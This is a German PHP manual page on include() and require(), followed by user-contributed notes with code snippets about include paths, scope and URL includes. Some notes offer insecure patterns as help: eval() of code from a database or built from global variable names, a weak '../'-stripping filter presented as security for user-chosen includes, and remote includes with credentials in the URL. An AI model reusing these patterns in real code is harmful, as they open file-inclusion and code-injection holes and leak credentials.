require
in response to pepesantillan at gmail dot com
here is a much simpler way of accessing the entire global scope from within a function, reguardless of variable types.
test.php
<?php
function my_include($file) {
//get access to all globals
foreach ($GLOBALS as $key => $val) { eval("global \$$key;"); }
//include our file
include($file);
}
$example = 1;
my_include('example.php');
echo $example;
?>
example.php
<?php
$example = 2;
?>
display:
2
include()
Die include() Anweisung bindet die angegebene Datei ein und wertet diese aus.
Die untenstehende Dokumentation gilt ebenso für require(). Diese beiden Konstrukte sind in jeder Hinsicht gleichwertig mit der einen Ausnahme: der Umgang mit Fehlern. include() erzeugt ein Warning während require() in einem Fatal Error endet. Mit anderen Worten, verwenden Sie require(), wenn Sie möchten, dass eine fehlende Datei die Ausführung ihres Skripts beendet. include() verhält sich anders, ihr Skript wird weiterhin ausgeführt. Stellen Sie außerdem sicher, dass Sie einen gültigen include_path gesetzt haben. Beachten Sie, dass eine Parse Error in einer Datei, die mit require eingebunden wurde, die Ausführung ihre Skripts vor PHP 4.3.5 nicht unterbricht. Beginnend mit PHP 4.3.5 wird das Skript in diesem Fall abgebrochen.
Dateien die mit include eingebunden werden, werden zuerst im include_path relativ zum gegenwärtigen Arbeitsverzeichnis gesucht und danach im include_path relativ zum Verzeichnis des ausgeführten Skripts. Zur Veranschaulichung: Falls Ihr include_path . entspricht, ist das gegenwärtige Arbeitsverzeichnis /www/. Sie haben über include include/a.php eingebunden und in diesem Skript steht die Anweisung include "b.php". In diesem Fall wird b.php zuerst im Verzeichnis /www/ gesucht und danach im Verzeichnis /www/include/. Beginnt der Pfad mit ../ so wird der include_path nur relativ zum aktuellen Verzeichnis durchsucht.
Wenn eine Datei eingebunden wird, erbt der enthaltene Code den Geltungsbereich von Variablen der Zeile in der die Anweisung steht. Ab dieser Zeile stehen alle verfügbaren Variablen in der aufgerufenen Datei im aufrufenden Skript zur Verfügung.
Beispiel #1 Grundlegendes include() Beispiel
vars.php
<?php
$color = 'grüner';
$fruit = 'Apfel';
?>
test.php
<?php
echo "Ein $color $fruit"; // Ein
include 'vars.php';
echo "Ein $color $fruit"; // Ein grüner Apfel
?>
Steht include im aufrufenden Skript innerhalb einer Funktion, verhält sich der gesamte Code der aufgerufenen Datei genau so, als ob Sie diesen Code innerhalb dieser Funktion definiert hätten. Aus diesem Grund hat dieser Code den Geltungsbereich der Variablen dieser Funktion.
Beispiel #2 Include innerhalb einer Funktion
<?php
function foo()
{
global $color;
include 'vars.php';
echo "Ein $color $fruit";
}
/* vars.php ist im Geltungsbereich von foo(), *
* d.h. $fruit steht außerhalb dieses Bereichs *
* NICHT zur Verfügung. $color schon, da wir *
* diese Variable als global definiert haben */
foo(); // Ein grüner Apfel
echo "Ein $color $fruit"; // Ein grüner
?>
Beim Einbinden einer Datei wechselt der Parser vom PHP-Modus zu Beginn der Zieldatei in den HTML-Modus und kehrt am Ende der eingebunden Datei wieder in den PHP-Modus zurück. Deshalb muss jeglicher Code innerhalb der eingebundenen Datei, der als PHP-Code ausgeführt werden soll, von gültigen PHP-Start- und Ende-Tags eingefaßt sein.
Wenn "URL fopen wrappers" in PHP aktiviert sind (in der Standardkonfiguration ist das der Fall) können Sie als Pfad der einzubindenden Datei auch eine URL (via HTTP oder anderen unterstützen Wrappern - eine Liste der unterstützen Protokolle finden Sie unter List of Supported Protocols/Wrappers) statt einer lokalen Pfadangabe angeben. Falls der Zielserver die Zieldatei als PHP-Code interpretiert, können Sie an die einzubindende Datei Variablen in einem Request-String übergeben, genauso wie bei HTTP GET. Streng genommen ist das nicht das Gleiche, wie diese Datei einzubinden und diesem den Geltungsbereich des Vater-Skripts zu vererben; das Skript wird auf dem Remote-Server ausgeführt und danach wird das Ergebnis in das lokale Skript eingebunden.
Warnung
PHP Versionen kleiner 4.3.0 für Windows, erlauben den Zugriff auf Remote-Dateien mit dieser Funktion nicht, selbst wenn allow_url_fopen aktiviert ist.
Beispiel #3 include() über HTTP
<?php
/* Dieses Beispiel geht davon aus, dass www.example.com so konfiguriert *
* ist, dass .php-Dateien geparst werden und keine .txt Dateien. Also meint *
* 'Funkt' hier, dass die Variablen $foo und $bar innerhalb der *
* angeforderten Datei zur Verfügung stehen */
// Funkt nicht; file.txt wird von www.example.com nicht als PHP geparst
include 'http://www.example.com/file.txt?foo=1&bar=2';
// Funkt nicht; schaut nach einer lokalen Datei namens
// 'file.php?foo=1&bar=2' im lokalen Dateisystem
include 'file.php?foo=1&bar=2';
// Funkt
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; // Funkt
include 'file.php'; // Funkt
?>
Da include() und require() spezielle Sprachkonstrukte sind, müssen Sie diese innerhalb einer bedingten Anweisung in einen Anweisungsblock setzen.
Beispiel #4 include() und bedingte Blöcke
<?php
// Das ist FALSCH und führt nicht zum gewünschten Ergebnis.
if ($bedingung)
include $datei;
else
include $andere_datei;
// Das ist KORREKT.
if ($bedingung) {
include $datei;
} else {
include $andere_datei;
}
?>
Der Umgang mit Returns: Es ist möglich eine return() -Anweisung innerhalb einer eingebunden Datei anzugeben, um die Ausführung innerhalb dieser Datei abzubrechen und zum aufrufenden Skript zurückzukehren. Ebenso ist die Rückgabe von Werten aus einer eingebunden Datei möglich. Sie können den Wert eines include-Aufrufs auf die gleiche Art und Weise nutzen, wie Sie es bei einer Funktion machen würden. Allerdings besteht diese Möglichkeit nicht, wenn Sie entfernte Dateien mittels include einbinden außer, wenn die Ausgabe der entfernten Datei gültige PHP Start- und Endetags beeinhaltet (wie jede lokale Datei auch). Innerhalb dieser Tags können Sie die benötigten Variablen deklarieren und diese werden dann an dem Punkt Ihres Skripts eingeführt, von wo aus der Aufruf mit include erfolgt ist.
Da include() ein spezielles Sprachkonstrukt ist kann das Argument auch ohne Klammern übergeben werden. Sie sollten dies beachten falls Sie den Rückgabewert vergleichen wollen.
Beispiel #5 Prüfung des Rückgabewerts von include
<?php
// das folgende funktioniert nicht, es wird als
// include(('vars.php') == 'OK'), d.h. include(''), ausgewertet
if (include('vars.php') == 'OK') {
echo 'OK';
}
// das folgende funktioniert
if ((include 'vars.php') == 'OK') {
echo 'OK';
}
?>
Hinweis: In PHP 3 darf eine return-Anweisung nicht innerhalb eines Blocks auftreten, es sei denn, es ist ein Funktionsblock. In diesem Fall gilt return() für diese Funktion und nicht für die ganze Datei.
Beispiel #6 include() und die return() Anweisung
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // gibt 'PHP' aus
$bar = include 'noreturn.php';
echo $bar; // gibt 1 aus
?>
$bar hat den Wert 1, weil include erfolgreich war. Beachten Sie die Unterschiede in den obigen Beispielen. Das erste nutzt return() innerhalb der eingebundenen Datei im Gegensatz zum zweiten Beispiel. Kann die Datei nicht eingebunden werden wird FALSE zurückgegeben und eine E_WARNING Warnung ausgegeben.
Funktionen die innerhalb einer Include-Datei definiert werden können unabhängig davon ob sie vor oder nach der return() Anweisung stehen in der Hauptdatei benutzt werden. PHP 5 bricht mit einem fatalen Fehler ab wenn die Datei zweimal eingebunden wird da die enthaltenen Funktionen bereits definiert sind, PHP 4 dagegen ignoriert funktionen die nach der return() Anweisung definiert werden. Es wird empfohlen include_once() zu benutzen und nicht selbst innerhalb der eingebundenen Datei zu prüfen ob die Datei bereits eingebunden wurde und mit einer bedingten return Anweisung abzubrechen.
Weitere Möglichkeiten Dateien in Variablen "einzubinden" bieten ihnen die Funktionen fopen() und file() oder include() im Zusammenspiel mit den Funktionen zur Ausgabesteuerung.
Hinweis: Da dies ein Sprachkonstrukt und keine Funktion ist, deshalb können Sie dieses nicht mit Variablenfunktionen verwenden.
Siehe auch require(), require_once(), include_once(), readfile(), virtual()und include_path.
add a note
User Contributed Notesinclude
darkain at darkain dot com
02-Aug-2008 09:08
02-Aug-2008 09:08
rich dot lovely at klikzltd dot co dot uk
17-Jul-2008 01:20
17-Jul-2008 01:20
I needed a way of include()ing a php page from a MySQL database. It took some work, but
eventually I came up with this:
<?php
function include_text($text){
while(substr_count($text, '<?php') > 0){ //loop while there's code in $text
list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
echo $html; //echo text before tag
list($code, $text) = explode('?>', $text, 2); //split at closing tag
eval($code); //exec code (between tags)
}
echo $text; //echo whatever is left
}
?>
It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.
Not sure whether it would work with something like:
<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>
I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:
<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>
Which would work with include_text()
It also won't work as-is with either asp-style or short tags.
phpincludenote at mooreds dot com
25-Jun-2008 11:29
25-Jun-2008 11:29
Here's how to send headers with a URL include, if you'd like:
http://www.mooreds.com/wordpress/archives/000477
huuanito
25-Jun-2008 10:34
25-Jun-2008 10:34
When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that
they have different variable scope
and the same session will not be seen from both included files. The original session won't be seen from the url included file.
So:
main script:
<?php
session_start();
$_SESSION['count'] = 234;
echo "sid from script1".session_id();
include "/var/www/htdocs/file1";
include "http://yoursite/file2";
?>
file1
<?php
echo " **sid from file1: ".session_id();
echo " count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count
but file2
<?php
echo " **sid from file2: ".session_id();
echo " count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.
g4wx3
25-Jun-2008 06:52
25-Jun-2008 06:52
Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:
include($folder.DIRECTORY_SEPARATOR.$file;)
*hint make a function
developer at aeropress dot com
17-Jun-2008 05:13
17-Jun-2008 05:13
The code in EXAMPLE #5 above does NOT work if you attempt to include by URL. I have been unable to discover any scheme at all that will pass a variable in this manner.
marabbeh
16-Jun-2008 06:46
16-Jun-2008 06:46
Thanks to alex carstea and tim furry for absolute path function. Here is (just) a bit faster version :
<?php
// The function returns the absolute path to the file to be included.
// This path can be used as argument to include() and resolves the problem of nested inclusions.
function getFilePath($relative_path) {
// $abs_path is the current absolute path (replace "\\" to "/" for windows platforms)
$abs_path=str_replace("\\", "/", dirname($_SERVER['SCRIPT_FILENAME']));
$relative_array=explode("/",$relative_path);
$abs_array=explode("/",$abs_path);
// for each "../" at the beginning of $relative_path
// removes this 1st item from $relative_path and the last item from $abs_path
while ($relative_array and ($relative_array[0]=="..")) {
array_shift($relative_array);
array_pop($abs_array);
}
// and implodes both arrays
return implode("/", $abs_array) . "/" . implode("/", $relative_array);
}
?>
ricardo dot ferro at gmail dot com
14-May-2008 11:14
14-May-2008 11:14
Two functions to help:
<?php
function add_include_path ($path)
{
foreach (func_get_args() AS $path)
{
if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
{
trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
continue;
}
$paths = explode(PATH_SEPARATOR, get_include_path());
if (array_search($path, $paths) === false)
array_push($paths, $path);
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
function remove_include_path ($path)
{
foreach (func_get_args() AS $path)
{
$paths = explode(PATH_SEPARATOR, get_include_path());
if (($k = array_search($path, $paths)) !== false)
unset($paths[$k]);
else
continue;
if (!count($paths))
{
trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
continue;
}
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
?>
phpnet at freshsite dot de
14-May-2008 04:01
14-May-2008 04:01
A note about the "return - thing":
test2.php
<?php
$r = true;
return $r;
?>
test1.php: (Does NOT work)
<?php
function functionA(){
return functionB();
}
function functionB(){
require_once 'test2.php';
}
var_dump(functionA());
?>
When you call test1.php, result will be NULL.
You have to "return" the include like this:
test1.php CORRECT:
<?php
function functionA(){
return functionB();
}
function functionB(){
return require_once 'test2.php';
}
var_dump(functionA());
?>
fernandoleal at drakecall dot com
12-May-2008 10:55
12-May-2008 10:55
Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>
Rick Garcia
08-May-2008 09:38
08-May-2008 09:38
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
etadpole23_2 at yahoo dot com
30-Apr-2008 04:18
30-Apr-2008 04:18
It aggravated me trying to get an absolute URL include from another one of my sites; then it occurred to me to check the phpinfo().
Under the "PHP Core" section; look for these values:
allow_url_fopen
allow_url_include
Turns out, both of mine are turned off. If you are stuck, try this snippet that {oasis1 (at) geocities (d@t) com} wrote earlier:
<?php
$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;
while ($i < $times) {
$rootaccess .= "../";
$i++;
}
include ($rootaccess."path_to_script");
?>
Thanks a ton Oasis!
Alexander
09-Mar-2008 09:09
09-Mar-2008 09:09
include() statement generates a compilation-time error when used inside a class declaration (but not within a function). For example:
<?php
class MyClass
{
include "file1.php";
include "file2.php";
function func1()
{
.......
}
?>
uramihsayibok, gmail, com
24-Feb-2008 05:28
24-Feb-2008 05:28
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php
function include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}
// used like
include_all_once('dir/*.php');
?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
pepesantillan at gmail dot com
24-Dec-2007 01:13
24-Dec-2007 01:13
In response to the last post...
instead of using your function to include a file, you can directly include files. But I guess my_include does something else besides including files and thats why you use it.
Im learning php (just got to this part of the manual, that much of a begginer I am) but a solution I can think of (and I am posting it because your post is from about a day ago) is using an array as a parameter in the function my_include. That array would contain all your local (global) variables and would pass them to your function and made them local for that function... Heres and example (hoping its not so hard to understant)
<?php
//sample function, note the referencing of the array using &
function my_include($file_to_include,&$my_array_of_globals) {
//you can find explanation on the function extract
//from the function list on this page, always check
//that list, is really usefull!. Extract would go at the very
//beggining of the function my_include.
extract($my_array_of_globals);
//now you have a kind of simulation of using global with
//any single variable of your script
include($file_to_include);
//in this part we recreate the array containing our variables
//this would go at the very end of the function
$my_array_of_globals = compact(array_keys($my_array_of_globals));
}
//some variables
$var1 = 1;
$var2 = 3;
echo "First print before calling the function:<BR>\$var1 is $var1, \$var2 is $var2<BR>";
//in this part we create an array containing our variables
//this is the array we will pass to the function
foreach ($GLOBALS as $key => $value){
if (!is_array($value)) {
//is not array? what?... yup, just to avoid post, get, cookie, etc...
//and what if I have a variable that its an array?
//as sad as it is for me, my method wont allow you
//to get arrays back from the function
$some_globals["$key"] = $value;
}
}
//and we call our function using this array
$include_string = $_SERVER["DOCUMENT_ROOT"]."/include_me.php";
//I like using include without the help of php.ini include_path
my_include($include_string,$some_globals);
//after that we extract our variables from $some_globals
extract($some_globals);
echo "Second print, after calling the function:<BR>\$var1 is $var1, \$var2 is $var2<BR>";
?>
This is include_me.php
<?php
// sample included file, it could try to access some variables
//from the file including him and even try to change them
$var1++; //from var1 = 1 to var1 = 2
$var2 *= 2; //from var2 = 3 to var2 =6
?>
and the output:
First print before calling the function:
$var1 is 1, $var2 is 3
Second print, after calling the function:
$var1 is 2, $var2 is 6
It is not an elegant nor efficient solution, but I wanna try to help you with the little knowledge I have. Hope it is of any help! Hope someone else posts a solution!
Merry Christmass to everyone
slush puppie
24-Oct-2007 11:40
24-Oct-2007 11:40
two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.
these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...
<?php
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
## A FILE RELATIVE TO THE ROOT DIRECTORY
## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
function rinclude($path){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
include($root . $path);
}
rinclude('file.inc.php'); // in root
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
## CALLS WILL BE RELATIVE TO ROOT
function setinclude(){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
set_include_path($root);
}
setinclude();
include('file.inc.php'); // in root
include('dir/file.inc.phpp'); // in a subfolder
?>
sbwoodside at yahoo dot com
07-Oct-2007 02:19
07-Oct-2007 02:19
Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:
<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>
Now anywhere you do an include you can do something like:
<?php include ( "Templates/header.inc") ?>
So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.
gomodo at free dot fr
02-Sep-2007 03:29
02-Sep-2007 03:29
Reponse to rayro at gmx dot de (21-Aug-2007 11:48 )
Hi rayro,
your code :
<?php
include(realpath('../../../test.php'));
?>
..Don't works when a function is called by another remote function (with a another remote include) -> realpath don't use __FILE__ reference :(
This works always and everywhere ( thanks to Jonny Rylands http://fr2.php.net/manual/fr/function.realpath.php#56773 ) :
<?
include (realpath(dirname(__FILE__).'/relative/path/to/include.inc.php'));
?>
friendly.
twolfley at gmail dot com
30-Aug-2007 10:37
30-Aug-2007 10:37
With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:
e.g.
<?php
function foo() {
//some long block of code here producing $bar
return $bar;
}
?>
can be rewritten as:
<?php
function foo() {
return include "foo.php";
}
?>
where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>
The result is the function's body does not get loaded into memory until the function is actually called.
eeckart at gmail dot com
16-Aug-2007 09:17
16-Aug-2007 09:17
In reference to the fopen() and $use_include_path workaround for checking whether a include file exists as posted by [arnold at bean-it dot nl]...
I did some benchmarks with 100 dirs (each with 1 file) in the include_path on Apache/2.0.55 (Win32) PHP/5.2.1.
Here are the results:
(note: in the success scenarios, I am include'ing the file in the LAST directory on the include stack. This is to maximize the seek time; fail scenarios simply use a non-existent file; all times are in seconds )
benchmarks --> plain vanilla INCLUDE
(success)
0.05515718460083
0.054859161376953
0.053768157958984
(fail)
0.22402501106262
0.17378783226013
0.14510798454285
benchmarks --> fopen() and $use_include_path workaround
(success)
0.060588836669922
0.069549798965454
0.056423902511597
(fail)
0.05295991897583
0.039775133132935
0.054499864578247
>>> CONCLUSION
In cases involving MANY include paths, include() is -marginally- faster than the workaround (unsurprising - we incur the extra overhead of BOTH the fopen() call AND the $use_include_path seek). I say marginal in comparison to the "fail" scenarios, detailed next..
The most surprising thing is the inefficiency of include() when you are trying for a non-existent file. As compared to the workaround, the native include() method is roughly 3 times slower.
Based on additional tests (50 paths only), I note that any decrease in seek time for either case is generally linear to the number of paths.
---
THEREFORE, depending on the amount of paths you have, you might want to resort to different methods of optimizing the includes in your scripts, especially if you need to constantly test for the existence of include'd files (our organization uses a templating engine that relies on a virtual flat directory structure using the set_include_path() function).
---
From a technical perspective, I have no idea why this is the case and I find the prospect of trawling the PHP source to be rather daunting. However, as an educated guess: I figure that the include() code assumes the file exists, and so wastes processor cycles making a system read call, which inevitably fails.
For those interested in the benchmark script, you can email me at the email address provided above. No support, of course. :P
tim furry
09-Aug-2007 08:09
09-Aug-2007 08:09
A small tweak to alex's getFilePath function allows it to work for Windows-based PHP as well:
<?php
$absPath = str_replace("\\", "/", dirname($_SERVER['SCRIPT_FILENAME']));
?>
Windows recognizes a forward slash as a directory separator character.
Using $_SERVER['DOCUMENT_ROOT'] and similar solutions didn't seem to work for web paths with internal symbolic links. Alex's function gets around that and works great.
alex carstea
26-Jul-2007 08:07
26-Jul-2007 08:07
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
"../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
$relativeArray=explode("/",$relativePath);
$absArray=explode("/",$absPath);
$upTokens=0;
//count the number of ".." tokens that precede the path
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
$upTokens++;
}
// create the absolute path
$filePath=$absArray[0];
for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
$filePath.="/".$absArray[$i];
}
for ($i=$upTokens; $i< count($relativeArray);$i++){
$filePath.="/".$relativeArray[$i];
}
return $filePath;
}
?>
Hope you will find it usefull....
Alex
Cory Gagliardi
25-Jul-2007 11:22
25-Jul-2007 11:22
Easy way to set $_GET values for local includes.
This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.
This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>
However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>
Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
php_notes (at) megaphone . ch
20-Jul-2007 04:28
20-Jul-2007 04:28
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)
http://www.php.net/manual/en/ini.php
adam at adamleayr dot id dot au
02-Jul-2007 05:22
02-Jul-2007 05:22
In response to oasis1 below, I use mod_rewrite to pipe all my requests through the index.php file, so I'm able to use the below code to find the root directory:
$sRoot = $_SERVER['HTTP_HOST'] . dirname($_SERVER['SCRIPT_NAME']);
You may be able to modify it to suit yourself.
oasis1 at geocities dot com
29-Jun-2007 08:11
29-Jun-2007 08:11
What a pain! I have struggled with including files from various subdirectories. My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:
<?php
$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;
while ($i < $times) {
$rootaccess .= "../";
$i++;
}
include ($rootaccess."foo/bar.php");
?>
This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled through.
post-nospam at brucemiller dot co dot uk
04-Jun-2007 02:07
04-Jun-2007 02:07
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:
include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php");
This creates an include that is relative to the root rather than the current directory.
The dot is for concatenation, not current directory, as with 'include path' syntax.
See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
user at example.com
20-May-2007 08:38
20-May-2007 08:38
Regarding the caching of includes.
I submitted a bug for this, apparently it's not a bug it's supposed to work that way for some reason.
The bugs team declined to elaborate as to why but it would seem includes aren't meant to use dynamic code, which makes this function worthless and by extension makes php needlessly time consuming because you can't reuse files properly.
treyh at wilnet1 dot com
17-May-2007 07:26
17-May-2007 07:26
I needed to use an include with an echo statement, with http authenication so I thought I'd share. It's basic but I didn't find it documented anywhere:
include 'http://treyh:pass@192.168.0.60/update2_count3.php?data=' . $row[id];
13-May-2007 08:40
Even when you set cache control and expiry headers:
header("Expires: 0");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("cache-control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");
It doesn't seem to reparse the include on the second hit to the page without a forced refresh.
e.g. a page where you direct to a login page which changes a $_SESSION var then returns to the originating page.
The originating page doesn't execute the code so it looks like still not logged in.
cmedina at bluecorestudio dot com
30-Apr-2007 10:03
30-Apr-2007 10:03
I wanted that included files behave like in C/C++ and this was killing me. So I created this function that really helped me (Note: You should add these lines to EVERY included file).
Code Lines:
<?
$FILE_PATH = preg_replace_callback(
'/(.*)(\\\?.*?)\s*;\1(\\\?.*?)\s*$/',
create_function(
'$matches',
'$path = str_replace("\\\", "/",(isset($matches[2])?
preg_replace(
\'/(?:^\/|^\\\\\)?[^\/\\\\\]+(?:\/|\\\\\)?/\',
"../",$matches[2]):"./").
(isset($matches[3])?$matches[3]:""));
return !empty($path)? "$path/" : "./";'
)
,realpath("./").";".dirname(__FILE__)
);
?>
Usage Example:
Files hierarchy for example
/www/file.php
/include/secondfile.php
/include/test/anotherfile
<? //file.php
//i will not include the code lines in example to avoid repetition but you have to
// --- FILE_PATH code lines here ---
// include the file relative to the caller position remember to use a relative path from each file to desired file
include ($FILE_PATH . "../../include/secondfile.php");
?>
<? //secondfile.php
// --- FILE_PATH code lines here ---
//note that path used is in reference to secondfile.php's path and not the original caller's(file.php) path
include ($FILE_PATH . "test/anotherfile"); //or include ($FILE_PATH . "./test/anotherfile");
?>
<? //anotherfile
/* --- some mixed content here --- */
?>
Now you can do recursive includes to files inside already
included files using each file's path as reference, like in
c/c++!!!
I'd tested this just in WINXP (PHP Version 4.4.1), so, I
dont know how it behaves in other OS/PHP-Versions. Any
additional suggestions or bugs, please let me know.
gabriel at bumpt dot net
09-Mar-2007 07:36
09-Mar-2007 07:36
In response to baofu:
The problem with calling:
set_include_path( ... )
before including any file, is that if one of the included files, in turn, does a set_include_path to include yet another bunch of files, then the following include statement in your topmost file, is done in an include path context that has changed.
Using: include dirname(__FILE__).'/../foo/bar' remains the best solution.
Khaos
23-Feb-2007 11:43
23-Feb-2007 11:43
This might help a bit for security (no guarantees).
Instead of
include $page;
put
include str_replace('../', '', './' . $page);
-hh-
23-Feb-2007 03:47
23-Feb-2007 03:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
anon
12-Feb-2007 05:49
12-Feb-2007 05:49
Be careful using the <?= / ?> start and end tags with include / require.
A lovely feature/bug/misunderstanding meant that the result of
<?=include(filename)?>
was to get the contents of the file, suffixed with a '1'. I can only assume that the one is the return code of the include.
hopefully my pain can help somebody else :D
cheers,
coldflame
mbread at m-bread dot com
10-Feb-2007 09:23
10-Feb-2007 09:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
Nathan Ostgard
19-Jan-2007 02:32
19-Jan-2007 02:32
You can also use debug_backtrace to write a function that do the chdir automatically:
<?php
function include_relative($file)
{
$bt = debug_backtrace();
$old = getcwd();
chdir(dirname($bt[0]['file']));
include($file);
chdir($old);
}
?>
anonymous
18-Jan-2007 01:49
18-Jan-2007 01:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:
<?
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>
This way neither my includes nor theirs are affected; they all work as expected.
dionyziz at deviantart dot com
18-Jan-2007 08:06
18-Jan-2007 08:06
In reply to the last anonymous note, this is exactly the way mediawiki code handles this problem. They have various-depth include paths.
So, for instance, inside includes/normal/UtfNormal.php (as of revision 19455) they do:
<?php
require_once dirname(__FILE__).'/UtfNormalUtil.php';
?>
...to include the file includes/normal/UtfNormal.php.
vahe dot ayvazyan at googlemail dot com
10-Jan-2007 03:12
10-Jan-2007 03:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:
<?php
$_GET['param1'] = 'param1value';
$_GET['param2'] = 'param2value';
@include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>
Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.
I spent several hours to figure this out.
anonymous
01-Jan-2007 06:42
01-Jan-2007 06:42
I'm gonna throw my hat in the rink and also say that I've always thought that the include path being relative to the current directory is silly. PHP is the only language I can think of that does this. Almost all of my include paths have always had to be prefixed with <?php dirname(__FILE__) ?> to operate expectedly.
Nathan Ostgard
28-Dec-2006 11:27
28-Dec-2006 11:27
I have to agree with sean dot farrell at digital-egg dot org.
If I put "../" or "./" in a call to include(), I expect it to be relative to the file I am including from, not the current working directory of the application.
This backwards mentality for relative paths really interferes with PHP's ability to build packages of files independent of an application.
sean dot farrell at digital-egg dot org
29-Nov-2006 06:12
29-Nov-2006 06:12
The way PHP handles the ./ and ../ is totally counter intuitive. As said if the included file is preceded by a ./ and ../ it looked up from the current working directory. And that is defined by the of the EXECUTED script. That is the script that you specified in the url.
